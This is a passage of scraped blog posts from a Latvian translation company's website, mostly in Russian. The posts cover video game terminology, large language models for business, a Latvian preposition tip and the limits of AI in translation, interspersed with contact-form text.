клиентов. Заполните контактную форму на нашем веб-сайте, чтобы получить бесплатное предложение для вашего проекта, или запишитесь на онлайн-консультацию, чтобы узнать, чем мы можем вам помочь. * Изображения, созданные с помощью искусственного интеллекта (ИИ) Ziņu izvēlne Читайте нашу прошлую статьюValsts ieņēmumu dienestsЧитайте нашу новую статьюValsts sociālās apdrošināšanas aģentūra --- > Мы составили краткий словарь игровых терминов. Загляните, особенно если видеоигры – ваше хобби! Свяжитесь с компанией Skrivanek. - Published: 2024-10-22 - Modified: 2024-11-04 - URL: https://skrivanek.lv/videospelu-termini-un-to-skaidrojumi/ - Kategorijas: Raksti - Translation Priorities: Optional ИГРОВЫЕ ТЕРМИНЫ И ИХ ТОЛКОВАНИЕ Погружаясь в мир видеоигр, геймеры сталкиваются со множеством терминов, которые на первый взгляд кажутся случайным набором букв. Однако это не так – у каждого термина и аббревиатуры имеется свое значение. В данной статье мы рассмотрим наиболее часто используемые игровые термины. Несмотря на то что видеоигры редко переводятся на латышский язык, в Латвии существует не только спрос на интерактивные истории о виртуальных мирах, но и предложение – все больше латвийских разработчиков получают возможность продавать свои работы за пределы страны. Заметной историей успеха в последние годы стала игра The Case of the Golden Idol («Дело о золотом идоле») в жанре детектива от разработчика Color Gray Games, где львиную долю контента создали братья Андрейс и Эрнестс Клявиньши. Из стран Балтии еще большую популярность за рубежом завоевала детективная RPG, или ролевая, игра Disco Elysium от эстонских разработчиков ZA/UM. Для того чтобы успешно продвигать свои работы за границей, полезно ознакомиться с наиболее распространенными игровыми терминами. Это особенно важно на этапе локализации, когда игра адаптируется к местному рынку. В свою очередь, игрокам, предпочитающим видеоигры на языке оригинала (чаще всего английском), толкование поможет разобраться в том, что пытаются сказать их товарищи по команде, а также каков жанр игры. ИСТОРИЯ ИГРОВЫХ ТЕРМИНОВ На заре видеоигр, более известных тогда как компьютерные игры, термины были довольно простыми, даже техническими, и описывали ход игры. Например, в «Тетрисе» и «Понге», которые считаются одними из первых компьютерных игр, существовали разделы, где фиксировались результат (score), количество жизней (lives) и уровни (levels). По мере усложнения видеоигр, особенно с появлением онлайн-элементов, термины становились все более социальными, поскольку многие из них создавались спонтанно – подобно устному народному творчеству. Именно поэтому, например, в онлайн-играх укоренились не только такие слова, как «гильдии» (guilds), описывающие коллектив игроков с общей целью, но и «хорошая игра» (gg), «отошел от клавиатуры» (AFK) и другие. ОБЩИЕ ОПИСАТЕЛЬНЫЕ ТЕРМИНЫ Avatar / game character, или персонаж видеоигры, – виртуальный «человек», которым управляют игроки. Он может быть создан или настроен как разработчиками, так и игроками. NPC (non-player character) – еще один распространенный термин для обозначения персонажей видеоигр. NPC – любой персонаж игры, которого игроки не могут контролировать. FPS (frames per second) – частота, с которой видеокарта компьютера или консоли может выводить отдельный кадр на монитор или телевизор. Например, 60 FPS означает, что за одну секунду на экране появится 60 кадров. Видеоигры обычно рассчитаны на частоту не менее 30 или 60 кадров в секунду. Для сравнения: фильмы и сериалы обычно снимаются с частотой 24 кадра в секунду. Lag – термин, часто используемый во время онлайн-матчей, когда игроки жалуются на задержку, или «лаг», вызванную интернет-соединением. Иногда данный термин используется для списания плохой игры или какой-либо ошибки на проблемы с интернет-соединением. Level upозначает улучшение способности, навыка или повышение уровня персонажа. Чем выше уровень, тем сильнее, опытнее персонаж видеоигры. Xp или exp (experience) – полученный опыт, который обычно выражается в виде числа. Например, выполнив миссию, игрок получает 200 XP, или очков опыта. В ряде игровых жанров опыт важен для повышения уровня (level up) и перехода к более сложным участкам. HP (health points, hit points) – важнейший показатель, отображающий количество очков жизни, которые остались у персонажа, управляемого игроком. По мере накопления очков опыта и повышения уровня повышается и максимальный показатель жизни. Easter egg – «пасхальное яйцо», которое разработчики прячут в игре, чтобы поделиться шуткой или отсылкой, например, к ранее созданным работам. Сравнение с пасхальным яйцом возникло потому, что эти секреты обычно трудно найти – нужно выполнить определенные действия или пройти более сложный путь. Save point. В видеоиграх перед сложными миссиями или битвами зачастую активируется функция сохранения прогресса, чтобы игроки могли вернуться в этот пункт, если не справятся с испытанием. В других случаях сохранение происходит не автоматически, а в определенных зонах или при взаимодействии со специальными предметами для сохранения прогресса игры. Camping – распространенный термин в онлайн-шутерах. Он обозначает игрока, который «заякорился» в одной конкретной точке карты, не двигается и поражает одного противника за другим. Для большего эффекта используется элемент неожиданности. СПЕЦИФИЧЕСКИЕ ЖАНРОВЫЕ ТЕРМИНЫ В каждом игровом жанре есть особые термины, которые в разных случаях могут означать нечто совершенно иное. Зачастую названия жанров сами по себе подобны терминам, которые в виде акронима сообщают все самое важное о конкретной игре. Нередко игроки отдают предпочтение одному или нескольким из существующих жанров. FPS (first person shooter) Игры-шутеры от первого лица позволяют игрокам перевоплотиться в управляемого персонажа, поскольку на экране видны только руки и оружие разных видов, с помощью которого нужно сражаться с другими игроками или компьютерными ботами. Игры в жанре FPS зачастую динамичные, с соревновательным характером. Наглядными примерами FPS-игр являются Call of Duty, Counter-Strike, Doom. RPG (role-playing game) Ролевые игры позволяют геймерам выразить себя, принимая различные решения – от того, как выглядит персонаж, до того, как он реагирует на события в виртуальном мире. В ролевых играх, как правило, большое внимание уделяется сюжету, который развивается и меняется. Самые яркие примеры жанра – франшизы The Elder Scrolls и Final Fantasy. Sandbox В большинстве видеоигр не так много возможностей для изменения или настройки окружающей локации. В играх типа sandbox, или «песочница», единственным ограничением является фантазия игрока. Известный многим пример игры-«песочницы» – Minecraft, в которой из блоков можно сделать практически все. Open world Видеоигры часто создаются для того, чтобы вести игроков по определенному пути, придуманному разработчиками, управляя игровым процессом. Такие игровые сюжеты называют линейными (linear games). В свою очередь, жанр открытого мира (open world) дает игрокам возможность отправиться туда, куда душа пожелает. Несколько примеров игр с открытым миром: франшизы Far Cry, Grand Theft Auto и Zelda. MMO (massively multiplayer online) Под MMO подразумевается любая онлайн-игра, в которой на одном сервере в одно и то же время могут находиться сотни и даже тысячи людей, взаимодействующих или сражающихся друг с другом в режиме реального времени. MMO – это ярко выраженные социальные игры, в которых игроки объединяются в гильдии (guilds) или команды. Известным примером MMO является World of Warcraft. MOBA (multiplayer online battle arena) Здесь прослеживаются параллели с MMO, однако главное отличие MOBA заключается в меньшем количестве игроков, которые обычно разбиты на две команды и сражаются на одной арене в какой-то из боевых зон. Цель игры – уничтожить базу противника Самые популярные MOBA-игры – Dota 2, League of Legends. RTS (real-time strategy) Стратегии в режиме реального времени – один из старейших жанров – проверяют способность игроков планировать и быстро реагировать, приспосабливаясь к изменениям ситуации. Чаще всего в стратегиях игрок принимает на себя роль командира, который ведет своих солдат в бой против врагов, параллельно планируя добычу и использование ресурсов. Стратегии могут иметь как однопользовательский, так и многопользовательский режим. Самые популярные RTS-игры – Age of Empires и серия StarCraft. Battle royale Это один из новейших и популярнейших многопользовательских онлайн-режимов, который доступен в таких играх, как Fortnite и PUBG. Единственное условие для игроков, сражающихся с другими, – остаться последним выжившим, в то время как игровое поле с каждым мгновением становится все меньше. Fighting game В файтингах, таких как Mortal Kombat и Tekken, игроки выбирают одного из доступных персонажей, чтобы с видом сбоку сразиться с другим игроком или компьютерным соперником, применяя определенные боевые приемы с помощью быстрых комбинаций кнопок или клавиш. Platformer В играх-платформерах персонажи преодолевают различные препятствия, перепрыгивая с одной платформы на другую, что отлично демонстрируют такие игры, как Super Mario и Sonic. Игры этого жанра зачастую позволяют проверить внимание и ловкость игроков при выполнении сложных маневров, необходимых для того, чтобы пройти дальше. Simulation Жанр симуляторов очень широк и включает любые игры, в которых воспроизводится реальная жизнь и даже законы физики, например градостроительные игры Cities и Tropico, а также игры, посвященные конкретным профессиям, – Euro Truck Simulator, Farming Simulator, PowerWash Simulator. GG, ИЛИ СЛЕНГ ОНЛАЙН-ИГР Начинающих играть в онлайн-игры могут смутить различные сокращения и аббревиатуры, которые поначалу мало о чем говорят. Однако все они имеют конкретное значение. А как иначе – когда нужно быстро принять решение, чтобы подстроиться под стратегию команды соперника, нет времени на длинные предложения. GG (good game)означает хорошо сыгранный матч, независимо от результата. Часто так выражаются и участники проигравшей команды, таким образом оценивая способность соперника добиться победы. GG EZ (good game, easy) – сокращение тоже связано с окончанием интересной, хорошей игры, но в этом случае победители иронизируют, что им даже не пришлось сильно стараться, чтобы победить. AFK (away from keyboard) – преобладающий термин в компьютерных играх. Этой аббревиатурой игроки сообщают другим, что на некоторое время «отойдут» от клавиатуры и скоро вернутся. BRB (be right back) имеет схожее значение, давая понять другим, что игроки скоро вернутся. Noob или newbie – шутливое обозначение неопытных игроков, которые во время игры допустили относительно простую ошибку или еще не разобрались в управлении. PvP (player vs player) как термин широко распространен в онлайн-играх. Означает режим игры, при котором игроки соревнуются с другими игроками. OP (owerpowered) – данный термин часто используется для обозначения персонажа или игрока, который обладает большими возможностями или лучшим снаряжением и которого другие не могут одолеть. ТЕРМИНЫ, ОПИСЫВАЮЩИЕ ИГРОВЫЕ ДЕЙСТВИЯ Для того чтобы эффективнее использовать все технические и управляющие возможности, предлагаемые игрой, важно в них разобраться. Рассмотрим некоторые из этих возможностей. Hitbox – зона, отведенная у объектов или персонажей, при прикосновении или выстреле в которую игрок может их повредить. Знание того, где находится так называемая зона поражения, часто помогает набрать больше очков и быстрее выполнить условия игры, или миссии. Cooldown. В онлайн-играх персонажи обычно обладают различными способностями. Чтобы не использовать их за один раз и не потерять интерес к игре, для способностей установлено время, по истечении которого их можно использовать повторно. Mana / Stamina. Для использования любой из вышеупомянутых способностей персонажей требуется mana, или магическая сила, которая имеет определенный максимальный лимит. В свою очередь, для физических действий или способностей необходима выносливость, или stamina. Buff / Debuff – одна из способностей персонажа, которая позволяет улучшить или ухудшить атакующие или оборонительные возможности другого игрока, делая другого персонажа сильнее или, наоборот, слабее. Loot, или добыча, – награда, которую игроки получают за выполнение миссии или победу над более сильным персонажем. Данный термин чаще встречается в многопользовательских ролевых онлайн-играх. RNG (random number generator). В играх, где большое значение придается добыче, также применяется RNG, или принцип генерирования случайных чисел. Таким образом, получаемые награды становятся случайными и игроки тратят больше времени на поиски следующей награды. Crafting. В видеоиграх, где игрокам предоставляется большая свобода в преобразовании мира, одной из важнейших особенностей является возможность создавать и формировать инструменты и предметы, или crafting, – изготавливать из различных материалов определенные инструменты или иные материалы. РОЛИ ПЕРСОНАЖЕЙ ОНЛАЙН-ИГР Становясь участниками многопользовательского онлайн-матча, игроки практически сразу должны решить, какую роль они будут играть – активную или пассивную. Чтобы ход игры был сбалансированным, у каждой роли есть свои преимущества и недостатки Tank, или танк, защищает товарищей по команде, принимая на себя большую часть атак противника. У этих персонажей обычно много очков жизни и защиты, но они не могут нанести большого урона другим персонажам. Healer / Support, или целитель, восстанавливает показатели жизни другим игрокам и улучшает другие параметры, такие как оборона и атака. Attacker – атакующий персонаж, который может наносить значительный урон противнику, но у него немного очков жизни, поэтому ему нужно действовать вместе с персонажами поддержки и регенерации жизни. Персонажи типаstealth стараются незаметно и быстро выполнить определенные действия, саботируя команду противника, например украсть флаг. Sniper, или снайпер, действует на дальних дистанциях, выискивая противников, чтобы уничтожить их одним метким выстрелом. Снайперы не способны нанести большой урон в непосредственной близости. Scout как разведчик, который, быстро передвигаясь, разведывает расположение базы или площадки противника либо занимает их до прихода других игроков. ЗНАЧЕНИЕ ИГРОВЫХ ТЕРМИНОВ ДЛЯ ЛОКАЛИЗАЦИИ Изучение и понимание сленга и терминов видеоигр разных жанров – первый шаг к их успешной адаптации к рынку другой страны. Существует множество терминов, укоренившихся в сознании игроков, например RPG (ролевая игра), loot (добыча, награда), замена которых другими, даже похожими терминами может сбить с толку. В свою очередь, локализация иностранной игры на латышский язык тоже является сложной задачей, учитывая, что иностранные слова более широко известны в общении игроков, чем их возможная локализация. В обоих случаях особенно важно вникнуть в суть терминов, чтобы найти лучшее и наиболее подходящее решение для конкретного жанра видеоигр. К тому же единая терминология помогает игрокам быстрее ориентироваться в виртуальном мире. Если часть терминов и опций уже знакома, будет проще изучить новые. Если вы желаете обеспечить своей видеоигре поддержку на разных языках, свяжитесь с нами – мы найдем лучшее решение! Запишитесь на консультацию, если хотите обсудить свой проект более подробно. Мы с радостью поможем найти лучшее, наиболее подходящее вам решение для локализации. Укажите свои контактные данные и вопросы ниже, чтобы мы могли назначить удобное для вас время. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Клиент *Частное лицоПредприятие Имя и фамилия *Телефон Добавить Удалить Имя и фамилия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Дополнительная информацияОтправьте документ размером не более 20 МБ, если размер документа больше, укажите это в сообщении, и мы свяжемся с Вами Click or drag files to this area to upload. You can upload up to 10 files. Как узнали о нас? Как узнали о нас? Являюсь клиентом SkrivanekПоисковая система GoogleРекомендация друга/знакомогоFacebookTwitterLinkedInInstagramНаружная рекламаВыставкаРеклама в печатных СМИДругой вариант *Я даю согласие на обработку личных данных с целью выполнения данного запроса согласно Политике конфиденциальности SIA Skrivanek Baltic. Отправить Ziņu izvēlne Читайте нашу прошлую статьюValsts ieņēmumu dienestsЧитайте нашу новую статьюValsts sociālās apdrošināšanas aģentūra --- > Большие языковые модели (БЯМ) – понимают, генерируют и переводят текст, используя огромный объем данных. Свяжитесь с компанией Skrivanek и узнайте, чем мы можем помочь! - Published: 2024-10-22 - Modified: 2024-11-04 - URL: https://skrivanek.lv/lielie-valodu-modeli/ - Kategorijas: Raksti - Translation Priorities: Optional БОЛЬШИЕ ЯЗЫКОВЫЕ МОДЕЛИ ДЛЯ БИЗНЕСА Вместе со стремительным ростом популярности инструментов искусственного интеллекта (ИИ) в повседневной жизни все чаще используются различные связанные с ним термины, в том числе термин «большие языковые модели» (БЯМ), или Large language models (LLM). Что такое БЯМ и чем они могут быть полезны для предприятия? ЧТО ТАКОЕ БОЛЬШИЕ ЯЗЫКОВЫЕ МОДЕЛИ? Большие языковые модели – это высококачественные модели ИИ, задача которых – генерировать текст, похожий на созданный человеком, и адаптировать этот текст к самым разнообразным потребностям. БЯМ создаются и обучаются с использованием большого количества данных, чтобы компьютерная программа могла максимально точно «угадать» нужный текст на разных языках, а также сформировать и преобразовать его в соответствии с контекстом. Используя новейшие технологии машинного обучения, модели способны воспроизводить естественный, «человеческий» язык, что позволяет взаимодействовать с заданным набором данных совсем как с человеком или роботом в окошке чата. ОСНОВНЫЕ ХАРАКТЕРИСТИКИ БЯМ 1. Понимание особенностей языка Каждый язык имеет свои культурные особенности, поэтому многие фразеологизмы и выражения, характерные для одного языка, нельзя переводить дословно, их необходимо адаптировать к близкому по смыслу фразеологизму или выражению. Большие языковые модели способны распознавать выражения и их значение не только в буквальном, но и в переносном смысле, что позволяет точнее определить цель, эмоциональный тон и другие лексические и стилистические категории конкретного текста. 2. Контекст с памятью Ключевым отличием БЯМ от, например, простого машинного обучения является способность поддерживать определенный контекст в рамках одного разговора – чаще всего чата, – что уменьшает необходимость анализировать данные, как это делал бы программист, задавая точные математические команды. БЯМ делают это так, будто разговаривают с хорошо знакомым коллегой. Таким образом, сохраняя контекст, можно вспомнить данные или действия, которые обсуждались, например, в начале чата. 3. Способность адаптироваться БЯМ можно адаптировать к разному контексту и стилистике, подстраивая набор данных под конкретный стиль письма, степень формальности и другие характеристики, отвечающие специфическим потребностям предприятия. Таким образом, нет необходимости повторять различные запросы или команды, чтобы получить текст, приближенный к вашим требованиям. КАК РАБОТАЮТ БОЛЬШИЕ ЯЗЫКОВЫЕ МОДЕЛИ? БЯМ работают на основе нейронных сетей, которые внесли значительный вклад в «угадывание» и генерацию текстов. В отличие от традиционных методов машинного обучения, нейронная сеть, на создание которой вдохновила работа человеческого мозга, считывает значение слов и предложений, чтобы лучше понять их контекст. Вот три ключевых термина, которые точнее объясняют суть деятельности БЯМ. 1. Обучение на основе данных Обучение БЯМ происходит посредством введения в модель значительного объема текстовой информации, чтобы та более точно распознавала языковые особенности и закономерности. Чем выше качество введенных данных, тем лучше модель сможет не только распознавать, но и создавать подобную информацию. 2. Создание жетонов (token) Учитывая объем БЯМ и особенности машинного обучения, слова, части слов или даже отдельные символы помечаются определенным жетонами, или token. Такой тип категоризации сокращает объем обрабатываемой информации и позволяет точнее предсказать, какие слова или символы будут следовать друг за другом, образуя логичное, благозвучное предложение. Чем точнее обучены БЯМ, тем лучше они смогут генерировать качественный текст. 3. Самообучение Для повышения качества создаваемого контента и экономии времени важна также способность БЯМ к самообучению на основе заданных данных и инструкций, разработанных с учетом специфики отрасли и предприятия. Это особенно важно при создании и использовании инструмента ИИ на уровне одного предприятия и его адаптации к общим потребностям. ПРИМЕРЫ ИСПОЛЬЗОВАНИЯ БОЛЬШИХ ЯЗЫКОВЫХ МОДЕЛЕЙ Большие языковые модели могут использоваться для выполнения различных задач после их соответствующей адаптации. Вот несколько наиболее распространенных на сегодняшний день примеров. Создание контента В зависимости от объема и сложности обучающих данных можно создавать первые наброски текстов для постов в блогах или социальных сетях. Достаточно лишь указать в запросе желаемый стиль, примерные темы, которые необходимо затронуть, и можно получить черновой вариант желаемого текста. Чем лучше отобраны данные в БЯМ, тем выше качество черновика. Когда получен черновой вариант текста, нелишне прибегнуть к помощи специалиста по языку, чтобы сделать текст более читабельным и понятным. Анализ данных Подобно генерации текстов, БЯМ пригодятся при анализе таблицы определенных наборов данных в формате PDF или другом формате. Остается только задать параметры, по которым следует просматривать и анализировать данные. Исследование рынка Если в БЯМ включены специфические данные, например только отзывы покупателей о товарах, приобретенных в интернет-магазине, то на основе этой информации можно делать прогнозы будущих тенденций. Поддержка клиентов Один из наиболее распространенных вариантов применения БЯМ – обеспечение более эффективной поддержки клиентов путем встраивания в веб-сайты разговорных интерфейсов, которые отвечают на вопросы клиентов, анализируют их и находят наиболее подходящий ответ из имеющейся модели данных. Перевод В глобальный и стремительный век информации очень важно информировать клиентов на их родном языке. Перевод любого материала с помощью профессиональных переводчиков – даже с использованием инструментов перевода (CAT) – может быть дорогим и трудоемким, и хотя инструменты машинного перевода не всегда отвечают критериям качества предприятия, они все же могут быть полезны для получения первого представления о конкретном материале. Поначалу может показаться, что БЯМ не подходят для перевода, однако при правильном подборе команд или обучении (тренировке) постепенно можно получить качественный и подходящий текст. ПРЕИМУЩЕСТВА И НЕДОСТАТКИ БОЛЬШИХ ЯЗЫКОВЫХ МОДЕЛЕЙ Как и у большинства технологий, у больших языковых моделей есть как преимущества, так и недостатки. Рассмотрим некоторые из них. Преимущества БЯМ Экономия времени. Создание модели данных с конкретной информацией, на основе которой можно генерировать текст или интерпретировать информацию, позволяет сэкономить время, которое раньше тратилось на выполнение монотонных действий вручную. Масштабирование. БЯМ могут обрабатывать гораздо больше информации, чем один аналитик данных, просматривая сотни документов. К тому же контент можно создавать в больших масштабах на основе одного шаблона. Возможность адаптации. Предприятия успешнее используют БЯМ, когда их можно окончательно преобразовать, или персонализировать, чтобы они могли без дополнительных запросов предоставлять ответы или контент именно в том стиле, который нужен предприятию. Экономия затрат. Использование БЯМ для перевода текста без дополнительного редактирования позволяет значительно сэкономить – особенно если такой материал впоследствии не будет использоваться для внешней коммуникации предприятия. БЯМ также лучше традиционных чат-ботов отвечают на вопросы, считывая смысл заданного клиентом вопроса. Возможности для экономии широки. Недостатки БЯМ Неверное понимание контекста. Уже упоминалось, что в большинстве случаев инструменты БЯМ способны считывать контекст, однако в случаях, когда в самой модели недостаточно данных для генерации качественного ответа, текст может быть понят неправильно и, соответственно, конечный результат может оказаться не таким, как ожидалось. Ложный или некорректный текст/контекст. При отсутствии качественных данных в БЯМ искусственный интеллект может «запутаться» и выдать некорректный текст, выдумав ложные факты, сославшись на несуществующие исследования, то есть создать нерелевантную информацию. Искусственный интеллект также можно запутать, дав ему неточные инструкции. Чтобы избежать этого, рекомендуется давать одну инструкцию на один запрос. Затраченное время. Если БЯМ не будут специально адаптированы под нужды конкретного предприятия, что может стоить довольно дорого, тогда для того, чтобы инструмент ИИ предоставлял именно ту информацию, которая необходима, нужно потратить время на оттачивание точного запроса, или prompt. Изменения в модели БЯМ. Если модель, ее субмодели и их обучение не контролируются самим предприятием, со временем даже при хорошо продуманном запросе полученные данные могут стать менее предсказуемыми и менее качественными. Например, ИИ может отказаться от анализа данных, сославшись на то, что такая задача выходит за рамки его технических возможностей. ЧЕМ МОЖЕТ ПОМОЧЬ SKRIVANEK? Экспертизой. Как уже упоминалось выше, существует множество различных аспектов, которые необходимо учитывать при выборе традиционного направления создания и/или перевода текстов или использовании возможностей, предоставляемых большими языковыми моделями. У каждого из них есть свои преимущества и недостатки – от стоимости до необходимости привлечения дополнительных специалистов, чтобы сделать текст читабельным, понятным и доступным для конечного потребителя. К примеру, то, что работает при конвертации или локализации технических, предсказуемых материалов, может оказаться недостаточно эффективным для создания маркетингового или креативного контента. Если у вас уже разработаны маркетинговые материалы с помощью БЯМ, но вы желаете их доработать, чтобы они лучше соответствовали стилю вашего предприятия, мы предлагаем услугу проверки и корректуры маркетингового текста, созданного искусственным интеллектом (ИИ). Мы также помогаем предприятиям с решением автоматического машинного перевода, подключая к процессу перевода нейросетевую обработку – подобно упомянутой выше модели БЯМ. Здесь переводчики подключаются к процессу постобработки для улучшения материала. В свою очередь, если вам нужно безраздельное внимание человека, мы также предлагаем традиционную локализацию с помощью инструментов перевода (CAT), где наиболее часто встречающиеся термины и выражения уже автоматически предлагаются из сохраненной памяти, в которую заложен стиль вашего предприятия. Свяжитесь с нами, и мы вместе найдем лучшее решение для вашего предприятия! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Клиент *Частное лицоПредприятие Имя и фамилия *Телефон Добавить Удалить Имя и фамилия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Дополнительная информацияОтправьте документ размером не более 20 МБ, если размер документа больше, укажите это в сообщении, и мы свяжемся с Вами Click or drag files to this area to upload. You can upload up to 10 files. Как узнали о нас? Как узнали о нас? Являюсь клиентом SkrivanekПоисковая система GoogleРекомендация друга/знакомогоFacebookTwitterLinkedInInstagramНаружная рекламаВыставкаРеклама в печатных СМИДругой вариант *Я даю согласие на обработку личных данных с целью выполнения данного запроса согласно Политике конфиденциальности SIA Skrivanek Baltic. Отправить Ziņu izvēlne Читайте нашу прошлую статьюValsts ieņēmumu dienestsЧитайте нашу новую статьюValsts sociālās apdrošināšanas aģentūra --- > Es atbildēju vēstulei vai uz vēstuli? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2024-10-19 - Modified: 2024-10-23 - URL: https://skrivanek.lv/atbildet-vestulei-vai-atbildet-uz-vestuli/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional ATBILDĒT VĒSTULEI VAI ATBILDĒT UZ VĒSTULI 1 Es atbildēju vēstulei vai uz vēstuli? Nepareizs prievārdu lietojums vai izlaisti prievārdi ir diezgan bieža kļūda latviešu valodā. Tos mēdz izlaist, lietot lieku prievārdu vai izvēlēties nepareizas nozīmes prievārdu. Prievārdu funkcija teikumā ir precizēt un skaidrot, tāpēc pareiza prievārdu izvēle ir ļoti svarīga. Šajā gadījumā saprast, vai prievārds ir vajadzīgs, var palīdzēt jautājums: es atbildēju kam? es atbildēju uz ko? Tātad es atbildēju (uz ko? ) uz vēstuli, es atbildēju (uz ko? ) uz jautājumu, es atbildēju (uz ko? ) uz telefona zvanu un es atbildēju (kam? ) Jānim. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Узнайте мнение Skrivanek об использовании искусственного интеллекта в переводе: потенциал, риски и почему участие человека по-прежнему важно. - Published: 2024-10-07 - Modified: 2024-10-29 - URL: https://skrivanek.lv/maksligais-intelekts-paligs-tulkosanai-tacu-ne-aizstajejs/ - Kategorijas: Raksti - Translation Priorities: Optional ИСКУССТВЕННЫЙ ИНТЕЛЛЕКТ – ПОМОЩНИК В ПЕРЕВОДЕ, НО НЕ ЗАМЕСТИТЕЛЬ В 2023 году термин «искусственный интеллект» доминировал в заголовках многих новостей и статей. Каковы возможности и риски инструментов ИИ? Являются ли они волшебной палочкой, способной решить почти любую проблему? Об этом и многом другом узнаете в данной статье блога Skrivanek. Когда инструменты искусственного интеллекта, созданные на базе больших языковых моделей (large language model), попали в распоряжение широкой аудитории, у многих они вызвали смешанные чувства – от восторга до серьезного беспокойства. Запуск классических чат-ботов с искусственным интеллектом сопряжен с известными рисками и ограничениями – особенно в отношении перевода, – но предусмотрительно и даже с хитростью их можно использовать. Одним словом, потребуется участие специалиста по языку. ЧАСТО НЕ ХВАТАЕТ МЕСТНОГО КОНТЕКСТА Перевод текста как процесс может показаться совсем простым. Берем одно слово, находим такое же на другом языке, на который нужно перевести текст, – и готово! Однако все не так просто. Особенно в переводе творческих материалов. Языки могут различаться построением предложений, частицами, передачей личных имен и многим другим. Не говоря уже о более своеобразных выражениях, фразеологизмах или сокращениях. Например, в английском языке в рамках одного предложения зачастую могут использоваться не одно или два, а даже четыре и пять местоимений. Подобный текст, обработанный машинным переводчиком без дополнительных инструкций, носителю латышского языка покажется странным и неестественным. Источник: ChatGPT, версия 4. 0. Пример перевода без дополнительных инструкций. МАЛО ОБУЧАЮЩИХ ДАННЫХ НА ЛАТЫШСКОМ ЯЗЫКЕ Принимая во внимание количество говорящих на латышском языке в мире, очевидно, что в обучении чат-ботов используются более распространенные языки – английский, испанский. Таким образом, если чат-боту не дать специальное указание действовать определенным образом, вопросы, связанные с культурой языка, «исчезнут в переводе». Источник: ChatGPT, версия 4. 0. Пример перевода без дополнительных инструкций. Приведенное в примере предложение довольно простое, но в нем сразу же обнаруживается ряд ошибок, самые заметные из которых – неправильные окончания. Можно подумать, что после их исправления текст станет пригодным к использованию. Однако в культуре латышского языка не существует выражения «красные флажки», поэтому часть читателей может не понять, что на самом деле мы пытаемся этим предложением сказать. Источник: ChatGPT, версия 4. 0. Пример перевода с дополнительной инструкцией сделать текст более читабельным для носителей латышского языка. Когда чат-боту дана еще одна инструкция, а именно сделать переводимый текст более читабельным для носителей латышского языка, предложение становится более понятным в сравнении с предыдущим примером. Однако без дополнительного контекста оно все равно несколько сбивает с толку. О каких предупреждающих сигналах идет речь? Лампочках на панели управления? Поворотниках? Или все-таки о необычных шумах в моторном отсеке при трогании с места? ТЕКСТ НЕОБХОДИМО ТЩАТЕЛЬНО ПРОВЕРЯТЬ Каждое слово, которое нам выдают чат-боты, следует тщательно проверять. Во время перевода может показаться, что проверке фактов нужно уделять меньше внимания. Верно, ведь основной материал у робота уже есть, однако зачастую переводимые слова могут видоизменяться и становиться немного странными. Источник: ChatGPT, версия 4. 0. Запрос аналога в латышском языке, который описывает английское слово «pop» для создания рекламного материала. Как показано на рисунке выше, машинный перевод предлагает 66 % непригодных для использования вариантов, которых в латышском языке не существует или они имеют другой контекст. Этот феномен часто можно наблюдать, запросив у чат-бота аналог из какого-то другого языка на латышском. Если запрос короткий, контекста недостаточно, чтобы дать удовлетворительный или даже хороший вариант. Но подобные ситуации ежедневно наблюдаются и с более длинными текстами, в которых вдруг окончания самых обычных слов становятся очевидно кривыми. Совсем как в первом визуальном примере статьи, где слово «līdzīgā» превратилось в несуществующее «līdzējā». ИНФОРМАЦИЯ МОЖЕТ БЫТЬ ИСПОЛЬЗОВАНА ДЛЯ ОБУЧЕНИЯ Как говорится в старой интернет-поговорке, что попало в Интернет, останется там навсегда. В каких объемах данные после вода в чат-боты попадают в обучающие материалы, знают лишь сами разработчики, однако, если только память робота не выключена, часть этих данных может попасть в распоряжение разработчиков. Поэтому перед использованием популярнейших чат-ботов стоит заранее определиться, что туда можно вводить без сомнений, не боясь утечки данных или идей. По этой причине многие компании создают свои внутренние ИИ-инструменты, чтобы данные не попали в распоряжение третьих лиц. . ИИ-ИНСТРУМЕНТЫ ПОНЕМНОГУ СТАНОВЯТСЯ ВСЕ БОЛЕЕ ЛЕНИВЫМИ Чем больше в обучающие данные искусственного интеллекта включается реальных данных из социальных сетей и дискуссионных форумов, тем ленивее становится робот. Причина этого довольно забавная и, вероятно, не самая точная, но со временем, при повторе похожих действий, например просьбы описать или разъяснить работу сайта или документ, ChatGPT без плагинов чаще всего поможет с небольшой частью задания вместо выполнения его целиком. Некоторое время назад ChatGPT в качестве 